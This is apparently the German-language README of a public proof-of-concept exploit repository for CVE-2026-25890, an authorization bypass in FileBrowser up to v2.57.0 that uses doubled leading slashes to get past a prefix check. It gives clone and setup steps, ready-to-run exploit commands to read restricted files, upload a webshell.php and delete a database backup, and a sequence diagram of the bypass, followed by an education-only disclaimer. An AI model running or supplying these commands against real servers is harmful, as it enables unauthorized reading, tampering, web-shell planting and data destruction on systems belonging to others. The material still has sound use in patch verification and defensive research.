
Exploit für CVE-2026-25890, eine pfadbasierte Autorisierungsumgehung in FileBrowser <= v2.57.0, die es authentifizierten Benutzern mit niedrigen Rechten ermöglicht, eingeschränkte Dateien über mehrere führende Schrägstriche zu lesen, hochzuladen und zu löschen.
Nicht authentifizierte Benutzer können dies nicht ausnutzen – es sind gültige Anmeldedaten mit niedrigen Privilegien erforderlich, die für den Zielpfad eingeschränkt sind.
Pfadbasierte Autorisierungsumgehung in FileBrowser ≤ v2.57.0 unter Verwendung mehrerer führender Schrägstriche (//private statt /private), um strings.HasPrefix()-Prüfungen zu umgehen, während das Dateisystem weiterhin den kanonischen Pfad ausliefert.
Behoben in v2.57.1 (Commit 489af403... – r.SkipClean(true) entfernt).
# Repository klonen
git clone https://github.com/banyamer/CVE-2026-25890-FileBrowser-Bypass.git
cd CVE-2026-25890-FileBrowser-Bypass
# Keine Abhängigkeiten außer Standardbibliothek + requests
pip install requests
python3 exploit.py --help
# Eingeschränkte Datei lesen
python3 exploit.py \
--url http://192.168.1.50:8080 \
--username bob \
--password password123 \
--path /private/secret.txt \
--action read \
--save leaked_secret.txt \
--verbose
# Schädliche Datei in eingeschränkten Ordner hochladen
python3 exploit.py \
--url http://target:8080 \
--username lowpriv \
--password pass \
--path /data/ \
--action upload \
--upload-file webshell.php \
--slashes 3
# Eingeschränkte Datei löschen
python3 exploit.py \
--url http://10.10.10.123:80 \
--username alice \
--password secret \
--path /backups/database.bak \
--action delete \
--slashes 4
sequenceDiagram
participant Attacker
participant FileBrowser ≤ v2.57.0
participant Gorilla Mux Router
participant Auth Middleware
participant Filesystem Handler
Attacker->>FileBrowser: GET /api/resources/private/secret.txt<br>(normale Anfrage)
FileBrowser->>Gorilla Mux: Path = /api/resources/private/secret.txt
Gorilla Mux->>Auth Middleware: path = "/private/secret.txt"
Auth Middleware->>Auth Middleware: strings.HasPrefix("/private/secret.txt", disallowed="/private") → true
Auth Middleware->>Attacker: 403 Forbidden
Note over Attacker,FileBrowser: Angreifer versucht Bypass
Attacker->>FileBrowser: GET /api/resources//private/secret.txt
FileBrowser->>Gorilla Mux: Path = /api/resources//private/secret.txt<br>(SkipClean=true → keine Normalisierung)
Gorilla Mux->>Auth Middleware: path = "//private/secret.txt"
Auth Middleware->>Auth Middleware: HasPrefix("//private/secret.txt", "/private") → false
Auth Middleware->>Filesystem Handler: Erlaubt → fortfahren
Filesystem Handler->>Filesystem: Normalisiert // → /private/secret.txt
Filesystem->>Filesystem Handler: Gibt Dateiinhalt zurück
Filesystem Handler->>Attacker: 200 OK + geheimer Inhalt
Dieses Proof-of-Concept wird ausschließlich für Bildungs- und Sicherheitsforschungszwecke bereitgestellt.
Verwenden Sie diesen Code nicht gegen ein System ohne ausdrückliche schriftliche Genehmigung des Eigentümers.
Unbefugter Zugriff oder unbefugte Änderung von Systemen ist in den meisten Rechtsordnungen illegal (z. B. CFAA, Computer Misuse Act).
Exploit-Autor: Mohammed Idrees Banyamer
Land: Jordanien
Instagram: @banyamer_security
Stern ⭐ das Repository, wenn es nützlich ist!
Zuletzt aktualisiert: Februar 2026